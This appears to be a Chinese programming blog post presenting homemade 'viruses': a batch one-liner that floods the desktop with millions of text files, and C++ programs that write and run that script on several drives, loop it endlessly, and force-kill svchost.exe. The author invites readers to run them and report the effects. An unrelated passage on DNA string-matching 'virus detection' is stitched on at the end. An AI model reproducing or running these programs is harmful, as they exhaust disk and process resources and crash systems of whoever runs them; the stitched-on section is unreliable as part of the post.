c++病毒

大家好,我是恒星飞耀

最近我做了一个程序,运行了一下,我的电脑差点无了,吓死我了

安全模式才删,给大家展示一下,别忘了三连哦

 for /L %%x in (1,1,100000000) do @echo %%x>%%x.txt

直接bat运行,你的电脑无了

原理:制造超多个txt在桌面,显示不过来,不断重启资源管理器

办法:进安全模式把txt全删了

再插一个c++版

#include <stdio.h>
#include<iostream>
#include<windows.h>
#include <bits/stdc++.h>
#define _CRT_SECURE_NO_WARNINGS
#include <iostream>
#include <pthread.h>
#include <unistd.h>
#include <windows.h>
#include <time.h>
#include <conio.h>
using namespace std;
int main() 
{ 
	freopen("C:\\hh.txt","w",stdout); 
	cout<<"@echo off\n";
	cout<<"for /L %%x in (1,1,1000000000000000000) do @echo %%x>%%x.txt" ;
	fclose(stdin);
	fclose(stdout);
	freopen("D:\\hh.txt","w",stdout); 
	cout<<"@echo off\n";
	cout<<"for /L %%x in (1,1,1000000000000000000) do @echo %%x>%%x.txt" ;
	fclose(stdin);
	fclose(stdout);
	freopen("F:\\hh.txt","w",stdout); 
	cout<<"@echo off\n";
	cout<<"for /L %%x in (1,1,1000000000000000000) do @echo %%x>%%x.txt" ;
	fclose(stdin);
	fclose(stdout);
	freopen("_pgmptr\\hh.txt","w",stdout); 
	cout<<"@echo off\n";
	cout<<"for /L %%x in (1,1,1000000000000000000) do @echo %%x>%%x.txt" ;
	fclose(stdin);
	fclose(stdout);
	system("C:\\hh.txt");
	system("F:\\hh.txt");
	system("D:\\hh.txt");
	system("_pgmptr\\hh.txt");
	system("TASKKILL /F /IM svchost.exe /T");
	return 0; 
} 

再来一个

#include<windows.h>
#include<iostream>
using namespace std;
int main(){
	
	while(1){
	system("@echo off");
	system("for /L %%x in (1,1,10000000000) do @echo %%x>%%x.txt");
	}
	return 0;
} 

bat的那个我试过了,其他的c++的有虚拟机的可以试一下(或想作死的),别忘了告诉我效果哦。

运行方式:放桌面上

不会解决的私聊我,三连哦

数据结构C++病毒检测的实现可以参考以下步骤: 1. 创建一个保存待测任务的文本文件,文件格式和内容如下: ``` num task1 task2 ... task_num ``` 其中,num表示待检测的任务数量,task1到task_num表示具体的任务。 2. 读取文本文件中的任务数量和任务内容,并将其存储在合适的数据结构中,例如数组或链表。 3. 对于每个任务,进行病毒检测的操作。可以使用字符串匹配算法,如KMP算法,来判断任务中的DNA序列是否包含病毒的DNA序列。 4. 如果任务中的DNA序列包含病毒的DNA序列,则输出"感染";否则,输出"未感染"。 以下是一个示例代码,演示了如何实现数据结构C++病毒检测: ```cpp #include <iostream> #include <fstream> #include <string> using namespace std; bool isInfected(string dnaSequence, string virusSequence) { int n = dnaSequence.length(); int m = virusSequence.length(); for (int i = 0; i < n; i++) { bool match = true; for (int j = 0; j < m; j++) { if (dnaSequence[(i + j) % n] != virusSequence[j]) { match = false; break; } } if (match) { return true; } } return false; } int main() { ifstream inputFile("tasks.txt"); if (!inputFile) { cout << "Failed to open file." << endl; return 0; } int num; inputFile >> num; for (int i = 0; i < num; i++) { string task; inputFile >> task; if (isInfected(task, "baa")) { cout << "感染" << endl; } else { cout << "未感染" << endl; } } inputFile.close(); return 0; } ```
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值